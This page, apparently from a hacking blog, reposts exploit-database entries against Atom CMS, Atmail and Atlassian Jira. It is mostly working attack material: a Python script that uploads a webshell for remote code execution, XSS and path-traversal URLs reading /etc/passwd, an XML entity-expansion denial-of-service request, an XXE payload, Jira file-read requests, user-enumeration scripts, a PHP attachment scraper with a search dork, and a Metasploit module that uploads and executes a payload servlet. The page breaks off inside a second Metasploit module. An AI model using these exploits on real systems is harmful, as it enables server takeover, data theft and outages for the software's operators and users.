Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863115589

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Atom CMS 2.0 - Remote Code Execution (RCE)
# Date: 22.03.2022
# Exploit Author: Ashish Koli (Shikari)
# Vendor Homepage: https://thedigitalcraft.com/
# Software Link: https://github.com/thedigicraft/Atom.CMS
# Version: 2.0
# Tested on: Ubuntu 20.04.3 LTS
# CVE: CVE-2022-25487

# Description
This script uploads webshell.php to the Atom CMS. An application will store that file in the uploads directory with a unique number which allows us to access Webshell.

# Usage : python3 exploit.py <IP> <Port> <atomcmspath>
# Example:  python3 exploit.py 127.0.0.1 80 /atom

# POC Exploit: https://youtu.be/qQrq-eEpswc
# Note: Crafted "Shell.txt" file is required for exploitation which is available on the below link:
# https://github.com/shikari00007/Atom-CMS-2.0---File-Upload-Remote-Code-Execution-Un-Authenticated-POC

'''
Description:
A file upload functionality in Atom CMS 2.0 allows any
non-privileged user to gain access to the host through the uploaded files,
which may result in remote code execution.
'''

#!/usr/bin/python3
'''
Import required modules:
'''
import sys
import requests
import json
import time
import urllib.parse
import struct
import re
import string
import linecache



proxies = {
   'http': 'http://localhost:8080',
   'https': 'https://localhost:8080',
}

'''
User Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
atomcmspath = sys.argv[3]


'''
Get cookie
'''
session = requests.Session()
link = 'http://' + target_ip + ':' + target_port + atomcmspath + '/admin'
response = session.get(link)
cookies_session = session.cookies.get_dict()
cookie = json.dumps(cookies_session)
cookie = cookie.replace('"}','')
cookie = cookie.replace('{"', '')
cookie = cookie.replace('"', '')
cookie = cookie.replace(" ", '')
cookie = cookie.replace(":", '=')

'''
Upload Webshell:
'''
# Construct Header:
header1 = {
    'Host': target_ip,    
    'Accept': 'application/json',
    'Cache-Control': 'no-cache',
    'X-Requested-With': 'XMLHttpRequest',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36',
    'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryH7Ak5WhirAIQ8o1L',
    'Origin': 'http://' + target_ip,
    'Referer': 'http://' + target_ip + ':' + target_port + atomcmspath + '/admin/index.php?page=users&id=1',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'en-US,en;q=0.9',
    'Cookie': cookie,
    'Connection': 'close',
    
}


# loading Webshell payload: 
path = 'shell.txt'
fp = open(path,'rb')
data= fp.read()


# Uploading Webshell:
link_upload = 'http://' + target_ip + ':' + target_port + atomcmspath + '/admin/uploads.php?id=1'
upload = requests.post(link_upload, headers=header1, data=data)

p=upload.text
x = re.sub("\s", "\n", p)
y = x.replace("1<br>Unknown", "null")
z = re.sub('[^0-9]', '', y)

'''
Finish:
'''
print('Uploaded Webshell to: http://' + target_ip + ':' + target_port + atomcmspath + '/uploads/' + z + '.php')
print('')
            
source: https://www.securityfocus.com/bid/64779/info

Atmail Webmail Server is prone to an HTML-injection vulnerability.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Atmail 7.1.3 is vulnerable; others versions may also be affected. 

 <iframe width=0 height=0 src="javascript:alert('xss in main body')"> 
            
source: https://www.securityfocus.com/bid/65408/info

Atmail is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Atmail 7.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php/mail/viewmessage/getattachment/folder/INBOX/uniqueId/<ID>/filenameOriginal/[XSS] 
            
source: https://www.securityfocus.com/bid/65408/info
 
Atmail is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
Atmail 7.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX/resultContext/searchResultsTab5?searchQuery=&goBack=6&from=&to=&subject=&body=&filter=[XSS] 
            
source: https://www.securityfocus.com/bid/65408/info
  
Atmail is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  
Atmail 7.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php/mail/mail/movetofolder/fromFolder/INBOX/toFolder/INBOX.Trash?resultContext=messageList&listFolder=INBOX&pageNumber=1&unseen%5B21%5D=0&mailId%5B%5D=[XSS] 
            
source: https://www.securityfocus.com/bid/52684/info

AtMail is prone to multiple directory-traversal vulnerabilities, an arbitrary-file-upload vulnerability, and an information-disclosure vulnerability because the application fails to sanitize user-supplied input.

An attacker can exploit these issues to obtain sensitive information, upload arbitrary code, and run it in the context of the webserver process.

Atmail 1.04 is vulnerable; other versions may also be affected. 

https://www.example.com/compose.php?func=renameattach&unique=/..././..././..././..././..././..././..././..././..././..././..././..././tmp/positive.test%00&Attachment[]=/../../../../../../../../../etc/passwd

https://www.example.com/compose.php?func=renameattach&unique=1.txt%00&Attachment[]=/../../../../../../../../../etc/passwd

https://www.example.com/mime.php?file=%0A/../../../../../../../../../etc/passwd&name=positive.html 
            
source: https://www.securityfocus.com/bid/50877/info

AtMail is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

AtMail 1.0.4 is vulnerable; other versions may also be affected. 

GET: http://www.example.com/search.php?func=<script>alert(&#039;XSS&#039;);</script>
GET: http://www.example.com/search.php?func=<script>alert(&#039;XSS&#039;);</script>
            
source: https://www.securityfocus.com/bid/53595/info

JIRA, and the Gliffy and Tempo plugins for JIRA are prone to a denial-of-service vulnerability because they fail to properly handle crafted XML data.

Exploiting this issue allows remote attackers to cause denial-of-service conditions in the context of an affected application.

The following versions are affected:

Versions prior to JIRA 5.0.1 are vulnerable.
Versions prior to Gliffy 3.7.1 are vulnerable.
Versions prior to Tempo versions 6.4.3.1, 6.5.1, and 7.0.3 are vulnerable. 

POST somehost.com HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
User-Agent: Jakarta Commons-HttpClient/3.1
Host: somehost.com
Content-Length: 1577

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:SecurityServer" xmlns:aut="http://authentication.integration.crowd.atlassian.com">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:authenticateApplication>
         <urn:in0>
            <aut:credential>
               <aut:credential>stuff1</aut:credential>
               <aut:encryptedCredential>?&lol9;</aut:encryptedCredential>
            </aut:credential>
            <aut:name>stuff3</aut:name>
            <aut:validationFactors>
               <aut:ValidationFactor>
                  <aut:name>stuff4</aut:name>
                  <aut:value>stuff5</aut:value>
               </aut:ValidationFactor>
            </aut:validationFactors>
         </urn:in0>
      </urn:authenticateApplication>
   </soapenv:Body>
</soapenv:Envelope>
            
# Exploit Title: Atlassian Jira Service Desk 4.9.1 - Unrestricted File Upload to XSS
# Date: 07 Mar 2020
# Exploit Author: Captain_hook
# Vendor Homepage: https://www.atlassian.com/
# Version: < 4.10.0
# Tested on: All OS
# CVE: CVE-2020-14166

Summary:

The /servicedesk/customer/portals resource in Jira Service Desk Server and Data Center before version 4.10.0 allows remote attackers with project administrator privileges to inject arbitrary HTML or JavaScript names via an Cross Site Scripting (XSS) vulnerability by uploading a html file.

Steps to reproduce:

1- reach to this directory http://localhost:port/servicedesk/customer/portals?customize=true
2- There's a place where the banner can be uploaded when upload wizard popup you can see that the banner image restricted to image format, you can change that type easily
3- then you can upload HTML and javascript files and hijacking cookies or XSRF tokens.

Original report in bugcrowd:

https://bugcrowd.com/disclosures/61a50171-aa55-4126-b9f4-4e82b4b8c301/unrestricted-file-upload-stored-xss-for-token-hijacking
Original ticket in atlassian:

https://jira.atlassian.com/browse/JSDSERVER-6895?error=login_required&error_description=Login+required&state=28f8e754-fb05-4f5e-adda-79e252fe2c30
            
# Exploit Title: Atlassian Jira Server/Data Center 8.16.0 - Reflected Cross-Site Scripting (XSS)
# Date: 06/05/2021
# Exploit Author: CAPTAIN_HOOK
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/jira/download/data-center
# Version: versions < 8.5.14, 8.6.0 ≤ version <  8.13.6, 8.14.0 ≤ version < 8.16.1
# Tested on: ANY
# CVE : CVE-2021-26078

Description: 								

The number range searcher component in Jira Server and Jira Data Center before version 8.5.14, from version 8.6.0 before version 8.13.6, and from version 8.14.0 before version 8.16.1 allows remote attackers inject arbitrary HTML or JavaScript via across site scripting (XSS) vulnerability
*Fixed versions:*

   - 8.5.14
   - 8.13.6	
   - 8.16.1	
   - 8.17.0

POC:

   - *Story points* custom field that exists by default in all JIRA Server has 3 types of Search template ( None , number range searcher, number searcher) By default the value of Search template is number range searcher OR number searcher. if the value of Search template was set on number range searcher the JIRA server is vulnerable to XSS attack by lowest privilege . For Testing Check the Story points custom field and it's details ( for verifying that the Search template sets on number range searcher) with your ADMIN account ( just like the images) and in the other window Type this With your least privilege
user : jql=issuetype%20%3D%20Epic%20AND%20%22Story%20Points%22%20%3C%3D%20%22%5C%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E%22%20AND%20%22Story%20Points%22%20%3E%3D%20%221%22
Your XSS Will be triggered immediately.

Reference:
https://jira.atlassian.com/browse/JRASERVER-72392?error=login_required&error_description=Login+required&state=9b05ec1f-587c-4014-9053-b6fdbb1efa21
            
# Exploit Title: Atlassian Jira Server Data Center 8.16.0 - Arbitrary File Read
# Date: 2021-10-05
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/jira/download/data-center
# Version: versions < 8.5.14, 8.6.0 ≤ version < 8.13.6, 8.14.0 ≤ version < 8.16.1
# Tested on: Kali Linux & Windows 10
# CVE : CVE-2021-26086

POC File #1 - web.xml

GET /s/cfx/_/;/WEB-INF/web.xml HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close


POC File #2 - seraph-config.xml

GET /s/cfx/_/;/WEB-INF/classes/seraph-config.xml HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

POC File #3 - decorators.xml

GET /s/cfx/_/;/WEB-INF/decorators.xml HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close


POC File #4 - /jira-webapp-dist/pom.properties

GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

POC File #5 - /jira-webapp-dist/pom.xml

GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

POC File #6 - /atlassian-jira-webapp/pom.xml

GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

POC File #7 - /atlassian-jira-webapp/pom.properties

GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
            
source: https://www.securityfocus.com/bid/53603/info

The FishEye and Crucible plugins for JIRA are prone to an unspecified security vulnerability because they fail to properly handle crafted XML data.

Exploiting this issue allows remote attackers to cause denial-of-service conditions or to disclose local sensitive files in the context of an affected application.

FishEye and Crucible versions up to and including 2.7.11 are vulnerable. 

Burp Repeater
Host: somehost.com
Port 443


POST /crowd/services/test HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
User-Agent: Jakarta Commons-HttpClient/3.1
Host: somehost.com
Content-Length: 2420

<!DOCTYPE foo [<!ENTITY xxec6079 SYSTEM "file:///etc/passwd"> ]><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:SecurityServer" xmlns:aut="http://authentication.integration.crowd.atlassian.com" xmlns:soap="http://soap.integration.crowd.atlassian.com">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:addAllPrincipals>
         <urn:in0>
            <!--Optional:-->
            <aut:name>?</aut:name>
            <!--Optional:-->
            <aut:token>?</aut:token>
         </urn:in0>
         <urn:in1>
            <!--Zero or more repetitions:-->
            <soap:
SOAPPrincipalWithCredential>
               <!--Optional:-->
               <soap:passwordCredential>
                  <!--Optional:-->
                  <aut:credential>?</aut:credential>
                  <!--Optional:-->
                  <aut:encryptedCredential>?&xxec6079;</aut:encryptedCredential>
               </soap:passwordCredential>
               <!--Optional:-->
               <soap:principal>
                  <!--Optional:-->
                  <soap:ID>?</soap:ID>
                  <!--Optional:-->
                  <soap:active>?</soap:active>
                  <!--Optional:-->
                  <soap:attributes>
                     <!--Zero or more repetitions:-->
                     <soap:SOAPAttribute>
                        <!--Optional:-->
                        <soap:name>?</soap:name>
                        <!--Optional:-->
                        <soap:values>
                           <!--Zero or more repetitions:-->
                           <urn:string>?</urn:string>
                        </soap:values>
                     </soap:SOAPAttribute>
                  </soap:attributes>
                  <!--Optional:-->
                  <soap:conception>?</soap:conception>
                  <!--Optional:-->
                  <soap:description>?</soap:description>
                  <!--Optional:-->
                  <soap:directoryId>?</soap:directoryId>
                  <!--Optional:-->
                  <soap:lastModified>?</soap:lastModified>
                  <!--Optional:-->
                  <soap:name>?</soap:name>
               </soap:principal>
            </soap:SOAPPrincipalWithCredential>
         </urn:in1>
      </urn:addAllPrincipals>
   </soapenv:Body>
</soapenv:Envelope>
            
# Exploit Title: Atlassian Jira 8.15.0 - Information Disclosure (Username Enumeration)
# Date: 31/05/2021
# Exploit Author: Mohammed Aloraimi
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/jira
# Vulnerable versions: version 8.11.x to 8.15.0
# Tested on: Kali Linux
# Proof Of Concept:

'''
A username information disclosure vulnerability exists in Atlassian JIRA from versions 8.11.x to 8.15.x. Unauthenticated users can ENUMRATE valid users via /secure/QueryComponent!Jql.jspa endpoint.

Tested versions:

Atlassian JIRA 8.11.1
Atlassian JIRA 8.13
Atlassian JIRA 8.15
'''

#!/usr/bin/env python

__author__  = "Mohammed Aloraimi (@ixSly)"



import requests
import sys
import re
import urllib3
urllib3.disable_warnings()


def help():
    print('python script.py <target> <username>')
    print('e.g. python script.py https://jiratarget.com admin')
    sys.exit()

if len(sys.argv) < 3:
  help()



def pwn(url,username):

        try:
                headers = {"content-type": "application/x-www-form-urlencoded; charset=UTF-8"}
                data="jql=creator+in+({})&decorator=none".format(username)
                req = requests.post(url+"/secure/QueryComponent!Jql.jspa",headers=headers,verify=False,data=data)
                if "issue.field.project" in req.text and req.status_code == 200:
                        print("[+] {} is a Valid User".format(username))
                        userFullName=re.search('value=\"user:{}\" title=\"(.+?)\"'.format(username),str(req.json()["values"]["creator"]).strip())
                        if userFullName:
                                print("[+] User FullName: " + userFullName.group(1))
                elif '["jqlTooComplex"]' in req.text and req.status_code == 401:
                        print("[-] {} is not a Valid User".format(username))
                else:
                        print("[-] Error..")
        except Exception as e:
                print(str(e))
                pass

server = sys.argv[1]
username = sys.argv[2]


pwn(server,username)
            
# Title: Atlassian JIRA 8.11.1 - User Enumeration
# Author: Dolev Farhi
# Vulnerable versions: version < 7.13.16,  8.0.0 ≤ version < 8.5.7, 8.6.0 ≤ version < 8.12.0
# CVE: CVE-2020-14181
# Credit to original CVE author: Mikhail Klyuchnikov of Positive Technologies.

import sys
import os
import requests

def help():
    print('python3 script.py <target> <usernames_file>')
    print('e.g. python3 script.py https://jiratarget.com usernames.txt')
    sys.exit()

if len(sys.argv) < 3:
  help()

server = sys.argv[1]
usernames = sys.argv[2]

random_user = '0x00001'

try:
  os.path.exists(usernames)
except:
  print(usernames, 'file does not exist.')
  sys.exit(1)

def test_vulnerable():
  resp = requests.get('{}/secure/ViewUserHover.jspa?username={}'.format(server, username))
  if 'User does not exist: {}'.format(random_user) in resp.text:
    return True
  return False

if test_vulnerable is False:
  print('server is not vulnerable.')
  sys.exit(1)

f = open(usernames, 'r').read()

for username in f.splitlines():
  resp = requests.get('{}/secure/ViewUserHover.jspa?username={}'.format(server, username))
  if 'User does not exist' not in resp.text:
    print('EXISTS', username)
            
source: https://www.securityfocus.com/bid/48484/info

Atlassian JIRA is prone to a security bypass vulnerability.

An attacker can exploit this issue to download arbitrary attachment files within the context of the affected application. 

<?php

/*If it's a https, you MUST especify it on the URL or it won't work.
Try using numbers that you get from your results in google otherwise
you will get a lot of 404*/


echo "\n#########################################################
###################
# \n#Attachment downloader by Ignacio Garrido\n#";

if ($argc != 4){echo "
#Usage: php Scuarji.php vulnsite FROM(NUMBER) TO(NUMBER)\n#
#Dork: inurl:/jira/secure/attachment/\n#
#Example: php Scuarji.php http://www.vulnsite/jira/secure/attachment/
1 12310371#
############################################################################\n";die;}

else{
echo "\n#Let's start!\n";
echo "#\n#Ign.sec@Gmail.com\n";
#\n############################################################################\n";}

$url2 = $argv[1];

if (substr($url2,0,7) != "http://" && substr($url2,0,8) != "https://")
{
$url = ("http://".$url2);
}
else
{
$url = $argv[1];
}

if ($argv[2] >= $argv[3])
{
echo "\n\n#The second number must be bigger than the first one\n";
die;
}

$numero = $argv[2];

for ($numero;$numero <= $argv[3];$numero++)
{
$head = get_headers("$url$numero/");

if (substr ($head[0],9,3) == "404")
{
echo "\n#File number $numero not found! (404)\n";
}
else{
$explodeo = explode("filename*=",$head[2]);
$explodeo2 = explode(";",$explodeo[1]);
$archivo = substr($explodeo2[0],7);

echo "\n#Downloading file: $archivo\n";
$file=file_get_contents("$url$numero/$archivo");
file_put_contents($archivo,$file);

}
}
echo "\n#All attachment downloaded correctly!\n";
die;

?>
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Atlassian Jira Authenticated Upload Code Execution',
      'Description' => %q{
        This module can be used to execute a payload on Atlassian Jira via
        the Universal Plugin Manager(UPM). The module requires valid login
        credentials to an account that has access to the plugin manager.
        The payload is uploaded as a JAR archive containing a servlet using
        a POST request against the UPM component. The check command will
        test the validity of user supplied credentials and test for access
        to the plugin manager.
      },
      'Author'      => 'Alexander Gonzalez(dubfr33)',
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/'],
          ['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/'],
          ['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/']
        ],
      'Platform'    => %w[java],
      'Targets'     =>
        [
          ['Java Universal',
            {
              'Arch'     => ARCH_JAVA,
              'Platform' => 'java'
            }
          ]
        ],
      'DisclosureDate' => 'Feb 22 2018'))

    register_options(
      [
        Opt::RPORT(2990),
        OptString.new('HttpUsername', [true, 'The username to authenticate as', 'admin']),
        OptString.new('HttpPassword', [true, 'The password for the specified username', 'admin']),
        OptString.new('TARGETURI', [true, 'The base URI to Jira', '/jira/'])
      ])
  end

  def check
    login_res = query_login
    if login_res.nil?
      vprint_error('Unable to access the web application!')
      return CheckCode::Unknown
    end
    return CheckCode::Unknown unless login_res.code == 200
    @session_id = get_sid(login_res)
    @xsrf_token = login_res.get_html_document.at('meta[@id="atlassian-token"]')['content']
    auth_res = do_auth
    good_sid = get_sid(auth_res)
    good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
    res = query_upm(good_cookie)
    if res.nil?
      vprint_error('Unable to access the web application!')
      return CheckCode::Unknown
    elsif res.code == 200
      return Exploit::CheckCode::Appears
    else
      vprint_status('Something went wrong, make sure host is up and options are correct!')
      vprint_status("HTTP Response Code: #{res.code}")
      return Exploit::CheckCode::Unknown
    end
  end

  def exploit
    unless access_login?
      fail_with(Failure::Unknown, 'Unable to access the web application!')
    end
    print_status('Retrieving Session ID and XSRF token...')
    auth_res = do_auth
    good_sid = get_sid(auth_res)
    good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
    res = query_for_upm_token(good_cookie)
    if res.nil?
      fail_with(Failure::Unknown, 'Unable to retrieve UPM token!')
    end
    upm_token = res.headers['upm-token']
    upload_exec(upm_token, good_cookie)
  end

  # Upload, execute, and remove servlet
  def upload_exec(upm_token, good_cookie)
    contents = ''
    name = Rex::Text.rand_text_alpha(8..12)

    atlassian_plugin_xml = %Q{
    <atlassian-plugin name="#{name}" key="#{name}" plugins-version="2">
    <plugin-info>
        <description></description>
        <version>1.0</version>
        <vendor name="" url="" />

        <param name="post.install.url">/plugins/servlet/metasploit/PayloadServlet</param>
        <param name="post.upgrade.url">/plugins/servlet/metasploit/PayloadServlet</param>

    </plugin-info>

    <servlet name="#{name}" key="metasploit.PayloadServlet" class="metasploit.PayloadServlet">
        <description>"#{name}"</description>
        <url-pattern>/metasploit/PayloadServlet</url-pattern>
    </servlet>

    </atlassian-plugin>
    }

    # Generates .jar file for upload
    zip = payload.encoded_jar
    zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)

    servlet = MetasploitPayloads.read('java', '/metasploit', 'PayloadServlet.class')
    zip.add_file('/metasploit/PayloadServlet.class', servlet)

    contents = zip.pack

    boundary = rand_text_numeric(27)

    data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"plugin\"; "
    data << "filename=\"#{name}.jar\"\r\nContent-Type: application/x-java-archive\r\n\r\n"
    data << contents
    data << "\r\n--#{boundary}--"

    print_status("Attempting to upload #{name}")
    res = send_request_cgi({
      'uri'            => normalize_uri(target_uri.path, 'rest/plugins/1.0/'),
      'vars_get'       =>
        {
          'token'      => "#{upm_token}"
        },
      'method'         => 'POST',
      'data'           => data,
      'headers'        =>
        {
          'Content-Type' => 'multipart/form-data; boundary=' + boundary,
          'Cookie'       => good_cookie.to_s
        }
    }, 25)

    unless res && res.code == 202
      print_status("Error uploading #{name}")
      print_status("HTTP Response Code: #{res.code}")
      print_status("Server Response: #{res.body}")
      return
    end

    print_status("Successfully uploaded #{name}")
    print_status("Executing #{name}")
    Rex::ThreadSafe.sleep(3)
    send_request_cgi({
      'uri'          => normalize_uri(target_uri.path.to_s, 'plugins/servlet/metasploit/PayloadServlet'),
      'method'       => 'GET',
      'cookie'       => good_cookie.to_s
    })

    print_status("Deleting #{name}")
    send_request_cgi({
      'uri'          => normalize_uri(target_uri.path.to_s, "rest/plugins/1.0/#{name}-key"),
      'method'       => 'DELETE',
      'cookie'       => good_cookie.to_s
    })
  end

  def access_login?
    res = query_login
    if res.nil?
      fail_with(Failure::Unknown, 'Unable to access the web application!')
    end
    return false unless res && res.code == 200
    @session_id = get_sid(res)
    @xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')['content']
    return true
  end

  # Sends GET request to login page so the HTTP response can be used
  def query_login
    send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'))
  end

  # Queries plugin manager to verify access
  def query_upm(good_cookie)
    send_request_cgi({
      'uri'          => normalize_uri(target_uri.path.to_s, 'plugins/servlet/upm'),
      'method'       => 'GET',
      'cookie'       => good_cookie.to_s
    })
  end

  # Queries API for response containing upm_token
  def query_for_upm_token(good_cookie)
    send_request_cgi({
      'uri'          => normalize_uri(target_uri.path.to_s, 'rest/plugins/1.0/'),
      'method'       => 'GET',
      'cookie'       => good_cookie.to_s
    })
  end

  # Authenticates to webapp with user supplied credentials
  def do_auth
    send_request_cgi({
      'uri'              => normalize_uri(target_uri.path.to_s, 'login.jsp'),
      'method'           => 'POST',
      'cookie'           => "atlassian.xsrf.token=#{@xsrf_token}; #{@session_id}",
      'vars_post'        => {
        'os_username'    => datastore['HttpUsername'],
        'os_password'    => datastore['HttpPassword'],
        'os_destination' => '',
        'user_role'      => '',
        'atl_token'      => '',
        'login'          => 'Log+In'
      }
    })
  end

  # Finds SID from HTTP response headers
  def get_sid(res)
    if res.nil?
      return '' if res.blank?
    end
    res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'json'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Atlassian HipChat for Jira Plugin Velocity Template Injection",
      'Description'    => %q{
        Atlassian Hipchat is a web service for internal instant messaging. A plugin is available
        for Jira that allows team collibration at real time. A message can be used to inject Java
        code into a Velocity template, and gain code exeuction as Jira. Authentication is required
        to exploit this vulnerability, and you must make sure the account you're using isn't
        protected by captcha. By default, Java payload will be used because it is cross-platform,
        but you can also specify which native payload you want (Linux or Windows).

